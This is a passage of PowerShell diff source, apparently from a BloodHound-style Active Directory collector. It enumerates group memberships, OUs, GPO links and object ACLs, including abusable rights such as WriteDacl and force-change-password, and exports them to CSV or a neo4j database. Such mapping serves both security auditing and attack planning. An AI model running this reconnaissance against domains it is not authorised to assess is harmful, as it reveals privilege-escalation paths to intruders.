) + $Null = $Statements.Add( @{ "statement"="CREATE CONSTRAINT ON (c:Computer) ASSERT c.ComputerName IS UNIQUE"} ) + $Null = $Statements.Add( @{ "statement"="CREATE CONSTRAINT ON (c:Group) ASSERT c.GroupName IS UNIQUE" } ) + $Json = @{ "statements"=[System.Collections.Hashtable[]]$Statements } + $JsonRequest = ConvertTo-Json20 $Json + $Null = $WebClient.UploadString($URI.AbsoluteUri + "db/data/transaction/commit", $JsonRequest) + $Statements.Clear() + } + + $UserDomainMappings = @{} + if(-not $SkipGCDeconfliction2) { + # if we're doing session enumeration, create a {user : @(domain,..)} from a global catalog + # in order to do user domain deconfliction for sessions + if($PSBoundParameters['GlobalCatalog']) { + $UserDomainMappings = Get-GlobalCatalogUserMapping -GlobalCatalog $GlobalCatalog + } + else { + $UserDomainMappings = Get-GlobalCatalogUserMapping + } + } + $DomainShortnameMappings = @{} + + if($Domain) { + $TargetDomains = @($Domain) + } + elseif($SearchForest) { + # get ALL the domains in the forest to search + $TargetDomains = Get-NetForestDomain | Select-Object -ExpandProperty Name + } + else { + # use the local domain + $TargetDomains = @( (Get-NetDomain).Name ) + } + + if($UseGroup -and $TargetDomains) { + $Title = (Get-Culture).TextInfo + ForEach ($TargetDomain in $TargetDomains) { + # enumerate all groups and all members of each group + Write-Verbose "Enumerating group memberships for domain $TargetDomain" + + # in-line updated hashtable with group DN->SamAccountName mappings + $GroupDNMappings = @{} + $PrimaryGroups = @{} + $DomainSID = Get-DomainSID -Domain $TargetDomain -DomainController $DomainController + + $ObjectSearcher = Get-DomainSearcher -Domain $TargetDomain -DomainController $DomainController -ADSPath $UserADSpath + # only return results that have 'memberof' set + $ObjectSearcher.Filter = '(memberof=*)' + # only return specific properties in the results + $Null = $ObjectSearcher.PropertiesToLoad.AddRange(('samaccountname', 'distinguishedname', 'cn', 'dnshostname', 'samaccounttype', 'primarygroupid', 'memberof')) + $Counter = 0 + $ObjectSearcher.FindAll() | ForEach-Object { + if($Counter % 1000 -eq 0) { + Write-Verbose "Group object counter: $Counter" + if($GroupWriter) { + $GroupWriter.Flush() + } + [GC]::Collect() + } + $Properties = $_.Properties + + $MemberDN = $Null + $MemberDomain = $Null + try { + $MemberDN = $Properties['distinguishedname'][0] + + if (($MemberDN -match 'ForeignSecurityPrincipals') -and ($MemberDN -match 'S-1-5-21')) { + try { + if(-not $MemberSID) { + $MemberSID = $Properties.cn[0] + } + $MemberSimpleName = Convert-SidToName -SID $MemberSID | Convert-ADName -InputType 'NT4' -OutputType 'Canonical' + if($MemberSimpleName) { + $MemberDomain = $MemberSimpleName.Split('/')[0] + } + else { + Write-Verbose "Error converting $MemberDN" + } + } + catch { + Write-Verbose "Error converting $MemberDN" + } + } + else { + # extract the FQDN from the Distinguished Name + $MemberDomain = $MemberDN.subString($MemberDN.IndexOf("DC=")) -replace 'DC=','' -replace ',','.' + } + } + catch {} + + if (@('268435456','268435457','536870912','536870913') -contains $Properties['samaccounttype']) { + $ObjectType = 'group' + if($Properties['samaccountname']) { + $MemberName = $Properties['samaccountname'][0] + } + else { + # external trust users have a SID, so convert it + try { + $MemberName = Convert-SidToName $Properties['cn'][0] + } + catch { + # if there's a problem contacting the domain to resolve the SID + $MemberName = $Properties['cn'][0] + } + } + if ($MemberName -Match "\\") { + # if the membername itself contains a backslash, get the trailing section + # TODO: later preserve this once BloodHound can properly display these characters + $AccountName = $MemberName.split('\')[1] + '@' + $MemberDomain + } + else { + $AccountName = "$MemberName@$MemberDomain" + } + } + elseif (@('805306369') -contains $Properties['samaccounttype']) { + $ObjectType = 'computer' + if ($Properties['dnshostname']) { + $AccountName = $Properties['dnshostname'][0] + } + } + elseif (@('805306368') -contains $Properties['samaccounttype']) { + $ObjectType = 'user' + if($Properties['samaccountname']) { + $MemberName = $Properties['samaccountname'][0] + } + else { + # external trust users have a SID, so convert it + try { + $MemberName = Convert-SidToName $Properties['cn'][0] + } + catch { + # if there's a problem contacting the domain to resolve the SID + $MemberName = $Properties['cn'][0] + } + } + if ($MemberName -Match "\\") { + # if the membername itself contains a backslash, get the trailing section + # TODO: later preserve this once BloodHound can properly display these characters + $AccountName = $MemberName.split('\')[1] + '@' + $MemberDomain + } + else { + $AccountName = "$MemberName@$MemberDomain" + } + } + else { + Write-Verbose "Unknown account type for object $($Properties['distinguishedname']) : $($Properties['samaccounttype'])" + } + + if($AccountName -and (-not $AccountName.StartsWith('@'))) { + + # Write-Verbose "AccountName: $AccountName" + $MemberPrimaryGroupName = $Null + try { + if($AccountName -match $TargetDomain) { + # also retrieve the primary group name for this object, if it exists + if($Properties['primarygroupid'] -and $Properties['primarygroupid'][0] -and ($Properties['primarygroupid'][0] -ne '')) { + $PrimaryGroupSID = "$DomainSID-$($Properties['primarygroupid'][0])" + # Write-Verbose "PrimaryGroupSID: $PrimaryGroupSID" + if($PrimaryGroups[$PrimaryGroupSID]) { + $PrimaryGroupName = $PrimaryGroups[$PrimaryGroupSID] + } + else { + $RawName = Convert-SidToName -SID $PrimaryGroupSID + if ($RawName -notmatch '^S-1-.*') { + $PrimaryGroupName = $RawName.split('\')[-1] + $PrimaryGroups[$PrimaryGroupSID] = $PrimaryGroupName + } + } + if ($PrimaryGroupName) { + $MemberPrimaryGroupName = "$PrimaryGroupName@$TargetDomain" + } + } + else { } + } + } + catch { } + + if($MemberPrimaryGroupName) { + # Write-Verbose "MemberPrimaryGroupName: $MemberPrimaryGroupName" + if ($PSCmdlet.ParameterSetName -eq 'CSVExport') { + $GroupWriter.WriteLine("`"$MemberPrimaryGroupName`",`"$AccountName`",`"$ObjectType`"") + } + else { + $ObjectTypeCap = $Title.ToTitleCase($ObjectType) + $Null = $Statements.Add( @{ "statement"="MERGE ($($ObjectType)1:$ObjectTypeCap { name: UPPER('$AccountName') }) MERGE (group2:Group { name: UPPER('$MemberPrimaryGroupName') }) MERGE ($($ObjectType)1)-[:MemberOf]->(group2)" } ) + } + } + + # iterate through each membership for this object + ForEach($GroupDN in $_.properties['memberof']) { + $GroupDomain = $GroupDN.subString($GroupDN.IndexOf('DC=')) -replace 'DC=','' -replace ',','.' + + if($GroupDNMappings[$GroupDN]) { + $GroupName = $GroupDNMappings[$GroupDN] + } + else { + $GroupName = Convert-ADName -ObjectName $GroupDN + if($GroupName) { + $GroupName = $GroupName.Split('\')[-1] + } + else { + $GroupName = $GroupDN.SubString(0, $GroupDN.IndexOf(',')).Split('=')[-1] + } + $GroupDNMappings[$GroupDN] = $GroupName + } + + if ($PSCmdlet.ParameterSetName -eq 'CSVExport') { + $GroupWriter.WriteLine("`"$GroupName@$GroupDomain`",`"$AccountName`",`"$ObjectType`"") + } + else { + # otherwise we're exporting to the neo4j RESTful API + $ObjectTypeCap = $Title.ToTitleCase($ObjectType) + + $Null = $Statements.Add( @{ "statement"="MERGE ($($ObjectType)1:$ObjectTypeCap { name: UPPER('$AccountName') }) MERGE (group2:Group { name: UPPER('$GroupName@$GroupDomain') }) MERGE ($($ObjectType)1)-[:MemberOf]->(group2)" } ) + + if ($Statements.Count -ge $Throttle) { + $Json = @{ "statements"=[System.Collections.Hashtable[]]$Statements } + $JsonRequest = ConvertTo-Json20 $Json + $Null = $WebClient.UploadString($URI.AbsoluteUri + "db/data/transaction/commit", $JsonRequest) + $Statements.Clear() + } + } + } + $Counter += 1 + } + } + $ObjectSearcher.Dispose() + + if ($PSCmdlet.ParameterSetName -eq 'RESTAPI') { + $Json = @{ "statements"=[System.Collections.Hashtable[]]$Statements } + $JsonRequest = ConvertTo-Json20 $Json + $Null = $WebClient.UploadString($URI.AbsoluteUri + "db/data/transaction/commit", $JsonRequest) + $Statements.Clear() + } + Write-Verbose "Done with group enumeration for domain $TargetDomain" + } + [GC]::Collect() + } + + if ($UseContainers -and $TargetDomains) { + ForEach ($TargetDomain in $TargetDomains) { + Write-Verbose "Enumerating container memberships and gpLinks for domain: $TargetDomain" + $OUs = New-Object System.Collections.Queue + + # first get a cached listing of all GPO GUIDs -> display names + # GPODisplayName,GPOGUID,IsEnforced,ObjectType,ObjectName,ObjectGUID + $GPOSearcher = Get-DomainSearcher -Domain $TargetDomain -DomainController $DomainController + $GPOSearcher.filter="(&(objectCategory=groupPolicyContainer)(name=*)(gpcfilesyspath=*))" + $GPOSearcher.PropertiesToLoad.AddRange(('displayname', 'name')) + $GPOs = @{} + + ForEach($GPOResult in $GPOSearcher.FindAll()) { + $GPOdisplayName = $GPOResult.Properties['displayname'][0] + $GPOname = $GPOResult.Properties['name'][0] + $GPOName = $GPOName.Substring(1, $GPOName.Length-2) + $GPOs[$GPOname] = $GPOdisplayName + } + + # now get the base domain object and enumerate any GPLinks + $DomainSearcher = Get-DomainSearcher -Domain $TargetDomain -DomainController $DomainController + $DomainSearcher.SearchScope = 'Base' + $Null = $DomainSearcher.PropertiesToLoad.AddRange(('gplink', 'objectguid')) + $DomainObject = $DomainSearcher.FindOne() + $DomainGUID = (New-Object Guid (,$DomainObject.Properties['objectguid'][0])).Guid + + if ($DomainObject.Properties['gplink']) { + $DomainObject.Properties['gplink'][0].split('][') | ForEach-Object { + if ($_.startswith('LDAP')) { + $Parts = $_.split(';') + $GPODN = $Parts[0] + if ($Parts[1] -eq 2) { $Enforced = $True } + else { $Enforced = $False } + + $i = $GPODN.IndexOf("CN=")+4 + $GPOName = $GPODN.subString($i, $i+25) + $GPODisplayName = $GPOs[$GPOname] + $GPLinkWriter.WriteLine("`"domain`",`"$TargetDomain`",`"$DomainGUID`",`"$GPODisplayName`",`"$GPOName`",`"$Enforced`"") + } + } + } + + # find any non-ou containers and enumerate the users/computers contained in them + # example -> CN=Computers,DC=testlab,DC=local + $DomainSearcher.SearchScope = 'OneLevel' + $Null = $DomainSearcher.PropertiesToLoad.AddRange(('name')) + $DomainSearcher.Filter = "(objectClass=container)" + $DomainSearcher.FindAll() | ForEach-Object { + $ContainerName = ,$_.Properties['name'][0] + $ContainerPath = $_.Properties['adspath'] + Write-Verbose "ContainerPath: $ContainerPath" + + $ContainerSearcher = Get-DomainSearcher -ADSpath $ContainerPath + + $Null = $ContainerSearcher.PropertiesToLoad.AddRange(('name', 'objectsid', 'samaccounttype')) + $ContainerSearcher.Filter = '(|(samAccountType=805306368)(samAccountType=805306369))' + $ContainerSearcher.SearchScope = 'SubTree' + + $ContainerSearcher.FindAll() | ForEach-Object { + $ObjectName = ,$_.Properties['name'][0] + Write-Verbose "ObjectName: $ObjectName" + if ( (,$_.Properties['samaccounttype'][0]) -eq '805306368') { + $ObjectType = 'user' + } + else { + $ObjectType = 'computer' + } + $ObjectSID = (New-Object System.Security.Principal.SecurityIdentifier($_.Properties['objectsid'][0],0)).Value + $ContainerWriter.WriteLine("`"domain`",`"$TargetDomain`",`"$DomainGUID`",`"$False`",`"$ObjectType`",`"$ObjectName`",`"$ObjectSID`"") + } + $ContainerSearcher.Dispose() + } + + # now enumerate all OUs that are on the "base" domain level + $DomainSearcher.SearchScope = 'OneLevel' + $Null = $DomainSearcher.PropertiesToLoad.AddRange(('name', 'objectguid', 'gplink')) + $DomainSearcher.Filter = "(objectCategory=organizationalUnit)" + $DomainSearcher.FindAll() | ForEach-Object { + $OUGuid = (New-Object Guid (,$_.Properties['objectguid'][0])).Guid + $OUName = ,$_.Properties['name'][0] + + $ContainerWriter.WriteLine("`"domain`",`"$TargetDomain`",`"$DomainGUID`",`"$False`",`"ou`",`"$OUName`",`"$OUGuid`"") + + $OUs.Enqueue($_.Properties['adspath']) + } + $DomainSearcher.Dispose() + + while ($OUs.Count -gt 0) { + # pop a new OU ADSpath from the queue + $ADSPath = $OUs.Dequeue() + Write-Verbose "Enumerating OU: '$ADSPath'" + + # grab the OU base object first to pull ContainerBlocksInheritence from gpoptions + $DomainSearcher = Get-DomainSearcher -ADSpath $ADSPath + $Null = $DomainSearcher.PropertiesToLoad.AddRange(('name', 'objectguid', 'gplink', 'gpoptions')) + $DomainSearcher.SearchScope = 'Base' + $OU = $DomainSearcher.FindOne() + $OUGuid = (New-Object Guid (,$OU.Properties['objectguid'][0])).Guid + $OUName = ,$OU.Properties['name'][0] + $ContainerBlocksInheritence = $False + if ($OU.Properties['gpoptions'] -and ($OU.Properties['gpoptions'] -eq 1)) { + $ContainerBlocksInheritence = $True + } + + # parse any gpLinks if this OU currently has any + if ($OU.Properties['gplink'] -and $OU.Properties['gplink'][0]) { + $OU.Properties['gplink'][0].split('][') | ForEach-Object { + if ($_.startswith('LDAP')) { + $Parts = $_.split(';') + $GPODN = $Parts[0] + if ($Parts[1] -eq 2) { $Enforced = $True } + else { $Enforced = $False } + + $i = $GPODN.IndexOf('CN=', [System.StringComparison]::CurrentCultureIgnoreCase)+4 + $GPOName = $GPODN.SubString($i, $i+25) + $GPODisplayName = $GPOs[$GPOname] + $GPLinkWriter.WriteLine("`"ou`",`"$OUName`",`"$OUGuid`",`"$GPODisplayName`",`"$GPOName`",`"$Enforced`"") + } + } + } + + # now enumerate all computers, users, and OUs in the next level + $Null = $DomainSearcher.PropertiesToLoad.AddRange(('name', 'objectsid', 'objectguid', 'gplink', 'gpoptions', 'objectclass')) + $DomainSearcher.Filter = '(|(samAccountType=805306368)(samAccountType=805306369)(objectclass=organizationalUnit))' + $DomainSearcher.SearchScope = 'OneLevel' + + $DomainSearcher.FindAll() | ForEach-Object { + if ($_.Properties['objectclass'] -contains 'organizationalUnit') { + $SubOUName = ,$_.Properties['name'][0] + $SubOUGuid = (New-Object Guid (,$_.Properties['objectguid'][0])).Guid + $ContainerWriter.WriteLine("`"ou`",`"$OUName`",`"$OUGuid`",`"$ContainerBlocksInheritence`",`"ou`",`"$SubOUName`",`"$SubOUGuid`"") + $OUs.Enqueue($_.Properties['adspath']) + } + elseif ($_.Properties['objectclass'] -contains 'computer') { + $SubComputerName = ,$_.Properties['name'][0] + $SubComputerSID = (New-Object System.Security.Principal.SecurityIdentifier($_.Properties['objectsid'][0],0)).Value + $ContainerWriter.WriteLine("`"ou`",`"$OUName`",`"$OUGuid`",`"$ContainerBlocksInheritence`",`"computer`",`"$SubComputerName`",`"$SubComputerSID`"") + } + else { + $SubUserName = ,$_.Properties['name'][0] + $SubUserSID = (New-Object System.Security.Principal.SecurityIdentifier($_.Properties['objectsid'][0],0)).Value + $ContainerWriter.WriteLine("`"ou`",`"$OUName`",`"$OUGuid`",`"$ContainerBlocksInheritence`",`"user`",`"$SubUserName`",`"$SubUserSID`"") + } + } + + $DomainSearcher.Dispose() + } + + Write-Verbose "Done with container memberships and gpLink enumeration for domain: $TargetDomain" + } + [GC]::Collect() + } + + if($UseACLs -and $TargetDomains) { + + # $PrincipalMapping format -> @{ PrincipalSID : @(PrincipalSimpleName, PrincipalObjectClass) } + $PrincipalMapping = @{} + $Counter = 0 + + # #CommonSidMapping[SID] = @(name, objectClass) + $CommonSidMapping = @{ + 'S-1-0' = @('Null Authority', 'USER') + 'S-1-0-0' = @('Nobody', 'USER') + 'S-1-1' = @('World Authority', 'USER') + 'S-1-1-0' = @('Everyone', 'GROUP') + 'S-1-2' = @('Local Authority', 'USER') + 'S-1-2-0' = @('Local', 'GROUP') + 'S-1-2-1' = @('Console Logon', 'GROUP') + 'S-1-3' = @('Creator Authority', 'USER') + 'S-1-3-0' = @('Creator Owner', 'USER') + 'S-1-3-1' = @('Creator Group', 'GROUP') + 'S-1-3-2' = @('Creator Owner Server', 'COMPUTER') + 'S-1-3-3' = @('Creator Group Server', 'COMPUTER') + 'S-1-3-4' = @('Owner Rights', 'GROUP') + 'S-1-4' = @('Non-unique Authority', 'USER') + 'S-1-5' = @('NT Authority', 'USER') + 'S-1-5-1' = @('Dialup', 'GROUP') + 'S-1-5-2' = @('Network', 'GROUP') + 'S-1-5-3' = @('Batch', 'GROUP') + 'S-1-5-4' = @('Interactive', 'GROUP') + 'S-1-5-6' = @('Service', 'GROUP') + 'S-1-5-7' = @('Anonymous', 'GROUP') + 'S-1-5-8' = @('Proxy', 'GROUP') + 'S-1-5-9' = @('Enterprise Domain Controllers', 'GROUP') + 'S-1-5-10' = @('Principal Self', 'USER') + 'S-1-5-11' = @('Authenticated Users', 'GROUP') + 'S-1-5-12' = @('Restricted Code', 'GROUP') + 'S-1-5-13' = @('Terminal Server Users', 'GROUP') + 'S-1-5-14' = @('Remote Interactive Logon', 'GROUP') + 'S-1-5-15' = @('This Organization ', 'GROUP') + 'S-1-5-17' = @('This Organization ', 'GROUP') + 'S-1-5-18' = @('Local System', 'USER') + 'S-1-5-19' = @('NT Authority', 'USER') + 'S-1-5-20' = @('NT Authority', 'USER') + 'S-1-5-80-0' = @('All Services ', 'GROUP') + 'S-1-5-32-544' = @('Administrators', 'GROUP') + 'S-1-5-32-545' = @('Users', 'GROUP') + 'S-1-5-32-546' = @('Guests', 'GROUP') + 'S-1-5-32-547' = @('Power Users', 'GROUP') + 'S-1-5-32-548' = @('Account Operators', 'GROUP') + 'S-1-5-32-549' = @('Server Operators', 'GROUP') + 'S-1-5-32-550' = @('Print Operators', 'GROUP') + 'S-1-5-32-551' = @('Backup Operators', 'GROUP') + 'S-1-5-32-552' = @('Replicators', 'GROUP') + 'S-1-5-32-554' = @('Pre-Windows 2000 Compatible Access', 'GROUP') + 'S-1-5-32-555' = @('Remote Desktop Users', 'GROUP') + 'S-1-5-32-556' = @('Network Configuration Operators', 'GROUP') + 'S-1-5-32-557' = @('Incoming Forest Trust Builders', 'GROUP') + 'S-1-5-32-558' = @('Performance Monitor Users', 'GROUP') + 'S-1-5-32-559' = @('Performance Log Users', 'GROUP') + 'S-1-5-32-560' = @('Windows Authorization Access Group', 'GROUP') + 'S-1-5-32-561' = @('Terminal Server License Servers', 'GROUP') + 'S-1-5-32-562' = @('Distributed COM Users', 'GROUP') + 'S-1-5-32-569' = @('Cryptographic Operators', 'GROUP') + 'S-1-5-32-573' = @('Event Log Readers', 'GROUP') + 'S-1-5-32-574' = @('Certificate Service DCOM Access', 'GROUP') + 'S-1-5-32-575' = @('RDS Remote Access Servers', 'GROUP') + 'S-1-5-32-576' = @('RDS Endpoint Servers', 'GROUP') + 'S-1-5-32-577' = @('RDS Management Servers', 'GROUP') + 'S-1-5-32-578' = @('Hyper-V Administrators', 'GROUP') + 'S-1-5-32-579' = @('Access Control Assistance Operators', 'GROUP') + 'S-1-5-32-580' = @('Access Control Assistance Operators', 'GROUP') + } + + ForEach ($TargetDomain in $TargetDomains) { + # enumerate all reachable user/group/computer objects and their associated ACLs + Write-Verbose "Enumerating ACLs for objects in domain: $TargetDomain" + + $ObjectSearcher = Get-DomainSearcher -Domain $TargetDomain -DomainController $DomainController -ADSPath $UserADSpath + $ObjectSearcher.SecurityMasks = [System.DirectoryServices.SecurityMasks]'Dacl,Owner' + + # enumerate user, computer, group, and GPO objects + # 805306368 -> user + # 805306369 -> computer + # 268435456|268435457|536870912|536870913 -> groups + # (objectCategory=groupPolicyContainer) -> GPOs + $ObjectSearcher.Filter = '(|(samAccountType=805306368)(samAccountType=805306369)(samAccountType=268435456)(samAccountType=268435457)(samAccountType=536870912)(samAccountType=536870913)(objectCategory=groupPolicyContainer))' + $ObjectSearcher.PropertiesToLoad.AddRange(('distinguishedName','samaccountname','dnshostname','displayname','objectclass','objectsid','name','ntsecuritydescriptor')) + + $ObjectSearcher.FindAll() | ForEach-Object { + $Object = $_.Properties + if($Object -and $Object.distinguishedname -and $Object.distinguishedname[0]) { + $DN = $Object.distinguishedname[0] + $ObjectDomain = $DN.SubString($DN.IndexOf('DC=')) -replace 'DC=','' -replace ',','.' + $ObjectName, $ObjectADType, $ObjectGuid = $Null + if ($Object.objectclass.contains('computer')) { + $ObjectADType = 'COMPUTER' + if ($Object.dnshostname) { + $ObjectName = $Object.dnshostname[0] + } + } + elseif ($Object.objectclass.contains('groupPolicyContainer')) { + $ObjectADType = 'GPO' + $ObjectGuid = $Object.name[0].trim('{}') + $ObjectDisplayName = $Object.displayname[0] + $ObjectName = "$ObjectDisplayName@$ObjectDomain" + } + else { + if($Object.samaccountname) { + $ObjectSamAccountName = $Object.samaccountname[0] + } + else { + $ObjectSamAccountName = $Object.name[0] + } + $ObjectName = "$ObjectSamAccountName@$ObjectDomain" + + if ($Object.objectclass.contains('group')) { + $ObjectADType = 'GROUP' + } + elseif ($Object.objectclass.contains('user')) { + $ObjectADType = 'USER' + } + else { + $ObjectADType = 'OTHER' + } + } + + if ($ObjectName -and $ObjectADType) { + try { + # parse the 'ntsecuritydescriptor' field returned + $SecDesc = New-Object -TypeName Security.AccessControl.RawSecurityDescriptor -ArgumentList $Object['ntsecuritydescriptor'][0], 0 + $SecDesc| Select-Object -Expand DiscretionaryAcl | ForEach-Object { + $Counter += 1 + if($Counter % 10000 -eq 0) { + Write-Verbose "ACE counter: $Counter" + if($ACLWriter) { + $ACLWriter.Flush() + } + [GC]::Collect() + } + + $RawActiveDirectoryRights = ([Enum]::ToObject([System.DirectoryServices.ActiveDirectoryRights], $_.AccessMask)) + + # check for the following rights: + # GenericAll - generic fully control of an object + # GenericWrite - write to any object properties + # WriteProperty/all - write to any object properties + # ExtendedRight/all - write to any object properties + # WriteDacl - modify the permissions of the object + # WriteOwner - modify the owner of an object + # ExtendedRight/User-Force-Change-Password - force reset a user's password (00299570-246d-11d0-a768-00aa006e0529) + # WriteProperty/Self-Membership - modify group membership (bf9679c0-0de6-11d0-a285-00aa003049e2) + # WriteProperty/Script-Path - modify a user's script-path (bf9679a8-0de6-11d0-a285-00aa003049e2) + # WriteProperty/GPC-File-Sys-Path - modify the files in a GPO's SYSVOL folder (f30e3bc1-9ff0-11d1-b603-0000f80367c1) + if ( + ( ($RawActiveDirectoryRights -match 'GenericAll|GenericWrite') -and (-not $_.ObjectAceType -or $_.ObjectAceType -eq '00000000-0000-0000-0000-000000000000') ) -or + ( ($RawActiveDirectoryRights -match 'WriteProperty') -and (-not $_.ObjectAceType -or $_.ObjectAceType -eq '00000000-0000-0000-0000-000000000000') ) -or + ( ($RawActiveDirectoryRights -match 'ExtendedRight') -and (-not $_.ObjectAceType -or $_.ObjectAceType -eq '00000000-0000-0000-0000-000000000000') ) -or + ($RawActiveDirectoryRights -match 'WriteDacl|WriteOwner') -or + (($_.ObjectAceType -eq '00299570-246d-11d0-a768-00aa006e0529') -and ($RawActiveDirectoryRights -match 'ExtendedRight')) -or + (($_.ObjectAceType -eq 'bf9679c0-0de6-11d0-a285-00aa003049e2') -and ($RawActiveDirectoryRights -match 'WriteProperty')) -or + (($_.ObjectAceType -eq 'bf9679a8-0de6-11d0-a285-00aa003049e2') -and ($RawActiveDirectoryRights -match 'WriteProperty')) -or + (($_.ObjectAceType -eq 'f30e3bc1-9ff0-11d1-b603-0000f80367c1') -and ($RawActiveDirectoryRights -match 'WriteProperty')) + ) { + + $PrincipalSid = $_.SecurityIdentifier.ToString() + $PrincipalSimpleName, $PrincipalObjectClass, $ACEType = $Null + + # only grab the AD right names we care about + # 'GenericAll|GenericWrite|WriteOwner|WriteDacl' + $ActiveDirectoryRights = $ACLGeneralRightsRegex.Matches($RawActiveDirectoryRights) | Select-Object -ExpandProperty Value + if (-not $ActiveDirectoryRights) { + if ($RawActiveDirectoryRights -match 'ExtendedRight') { + $ActiveDirectoryRights = 'ExtendedRight' + } + else { + $ActiveDirectoryRights = 'WriteProperty' + } + + # decode the ACE types here + $ACEType = Switch ($_.ObjectAceType) { + '00299570-246d-11d0-a768-00aa006e0529' {'User-Force-Change-Password'} + 'bf9679c0-0de6-11d0-a285-00aa003049e2' {'Member'} + 'bf9679a8-0de6-11d0-a285-00aa003049e2' {'Script-Path'} + 'f30e3bc1-9ff0-11d1-b603-0000f80367c1' {'GPC-File-Sys-Path'} + Default {'All'} + } + } + + if ($PrincipalMapping[$PrincipalSid]) { + # $PrincipalMappings format -> @{ SID : @(PrincipalSimpleName, PrincipalObjectClass) } + $PrincipalSimpleName, $PrincipalObjectClass = $PrincipalMapping[$PrincipalSid] + } + elseif ($CommonSidMapping[$PrincipalSid]) { + $PrincipalName, $PrincipalObjectClass = $CommonSidMapping[$PrincipalSid] + $PrincipalSimpleName = "$PrincipalName@$TargetDomain" + $PrincipalMapping[$PrincipalSid] = $PrincipalSimpleName, $PrincipalObjectClass + } + else { + # first try querying the target domain for this SID + $SIDSearcher = Get-DomainSearcher -Domain $TargetDomain -DomainController $DomainController + $SIDSearcher.PropertiesToLoad.AddRange(('samaccountname','distinguishedname','dnshostname','objectclass')) + $SIDSearcher.Filter = "(objectsid=$PrincipalSid)" + $PrincipalObject = $SIDSearcher.FindOne() + + if ((-not $PrincipalObject) -and ((-not $DomainController) -or (-not $DomainController.StartsWith('GC:')))) { + # if the object didn't resolve from the current domain, attempt to query the global catalog + $GCSearcher = Get-DomainSearcher -ADSpath $GCADSPath + $GCSearcher.PropertiesToLoad.AddRange(('samaccountname','distinguishedname','dnshostname','objectclass')) + $GCSearcher.Filter = "(objectsid=$PrincipalSid)" + $PrincipalObject = $GCSearcher.FindOne() + } + + if ($PrincipalObject) { + if ($PrincipalObject.Properties.objectclass.contains('computer')) { + $PrincipalObjectClass = 'COMPUTER' + $PrincipalSimpleName = $PrincipalObject.Properties.dnshostname[0] + } + else { + $PrincipalSamAccountName = $PrincipalObject.Properties.samaccountname[0] + $PrincipalDN = $PrincipalObject.Properties.distinguishedname[0] + $PrincipalDomain = $PrincipalDN.SubString($PrincipalDN.IndexOf('DC=')) -replace 'DC=','' -replace ',','.' + $PrincipalSimpleName = "$PrincipalSamAccountName@$PrincipalDomain" + + if ($PrincipalObject.Properties.objectclass.contains('group')) { + $PrincipalObjectClass = 'GROUP' + } + elseif ($PrincipalObject.Properties.objectclass.contains('user')) { + $PrincipalObjectClass = 'USER' + } + else { + $PrincipalObjectClass = 'OTHER' + } + } + } + else { + Write-Verbose "SID not resolved: $PrincipalSid" + } + + $PrincipalMapping[$PrincipalSid] = $PrincipalSimpleName, $PrincipalObjectClass + } + + if ($PrincipalSimpleName -and $PrincipalObjectClass) { + if ($PSCmdlet.ParameterSetName -eq 'CSVExport') { + # "ObjectName","ObjectType","ObjectGuid","PrincipalName","PrincipalType","ActiveDirectoryRights","ACEType","AccessControlType","IsInherited" + $ACLWriter.WriteLine("`"$ObjectName`",`"$ObjectADType`",`"$ObjectGuid`",`"$PrincipalSimpleName`",`"$PrincipalObjectClass`",`"$ActiveDirectoryRights`",`"$ACEType`",`"$($_.AceQualifier)`",`"$($_.IsInherited)`"") + } + else { + Write-Warning 'TODO: implement neo4j RESTful API ingestion for ACLs!' + } + } + } + } + $SecDesc | Select-Object -Expand Owner | ForEach-Object { + # now extract out the object owner + $Counter += 1 + if($Counter % 10000 -eq 0) { + Write-Verbose "ACE counter: $Counter" + if($ACLWriter) { + $ACLWriter.Flush() + } + [GC]::Collect() + } + + if ($_ -and $_.Value) { + $PrincipalSid = $_.Value + $PrincipalSimpleName, $PrincipalObjectClass, $ACEType = $Null + + if ($PrincipalMapping[$PrincipalSid]) { + # $PrincipalMappings format -> @{ SID : @(PrincipalSimpleName, PrincipalObjectClass) } + $PrincipalSimpleName, $PrincipalObjectClass = $PrincipalMapping[$PrincipalSid] + } + elseif ($CommonSidMapping[$PrincipalSid]) { + $PrincipalName, $PrincipalObjectClass = $CommonSidMapping[$PrincipalSid] + $PrincipalSimpleName = "$PrincipalName@$TargetDomain" + $PrincipalMapping[$PrincipalSid] = $PrincipalSimpleName, $PrincipalObjectClass + } + else { + # first try querying the target domain for this SID + $SIDSearcher = Get-DomainSearcher -Domain $TargetDomain -DomainController $DomainController + $SIDSearcher.PropertiesToLoad.AddRange(('samaccountname','distinguishedname','dnshostname','objectclass')) + $SIDSearcher.Filter = "(objectsid=$PrincipalSid)" + $PrincipalObject = $SIDSearcher.FindOne() + + if ((-not $PrincipalObject) -and ((-not $DomainController) -or (-not $DomainController.StartsWith('GC:')))) { + # if the object didn't resolve from the current domain, attempt to query the global catalog + $GCSearcher = Get-DomainSearcher -ADSpath $GCADSPath + $GCSearcher.PropertiesToLoad.AddRange(('samaccountname','distinguishedname','dnshostname','objectclass')) + $GCSearcher.Filter = "(objectsid=$PrincipalSid)" + $PrincipalObject = $GCSearcher.FindOne() + } + + if ($PrincipalObject) { + if ($PrincipalObject.Properties.objectclass.contains('computer')) { + $PrincipalObjectClass = 'COMPUTER' + $PrincipalSimpleName = $PrincipalObject.Properties.dnshostname[0] + } + else { + $PrincipalSamAccountName = $PrincipalObject.Properties.samaccountname[0] + $PrincipalDN = $PrincipalObject.Properties.distinguishedname[0] + $PrincipalDomain = $PrincipalDN.SubString($PrincipalDN.IndexOf('DC=')) -replace 'DC=','' -replace ',','.' + $PrincipalSimpleName = "$PrincipalSamAccountName@$PrincipalDomain" + + if ($PrincipalObject.Properties.objectclass.contains('group')) { + $PrincipalObjectClass = 'GROUP' + } + elseif ($PrincipalObject.Properties.objectclass.contains('user')) { + $PrincipalObjectClass = 'USER' + } + else { + $PrincipalObjectClass = 'OTHER' + } + } + } + else { + Write-Verbose "SID not resolved: $PrincipalSid" + } + + $PrincipalMapping[$PrincipalSid] = $PrincipalSimpleName, $PrincipalObjectClass + } + + if ($PrincipalSimpleName -and $PrincipalObjectClass) { + if ($PSCmdlet.ParameterSetName -eq 'CSVExport') { + # "ObjectName","ObjectType","ObjectGuid","PrincipalName","PrincipalType","ActiveDirectoryRights","ACEType","AccessControlType","IsInherited" + $ACLWriter.WriteLine("`"$ObjectName`",`"$ObjectADType`",`"$ObjectGuid`",`"$PrincipalSimpleName`",`"$PrincipalObjectClass`",`"Owner`",`"`",`"AccessAllowed`",`"False`"") + } + else { + Write-Warning 'TODO: implement neo4j RESTful API ingestion for ACLs!' + } + } + } + } + } + catch { + Write-Verbose "ACL ingestion error: $_" + } + } + } + } + } + } + + if($UseDomainTrusts -and $TargetDomains) { 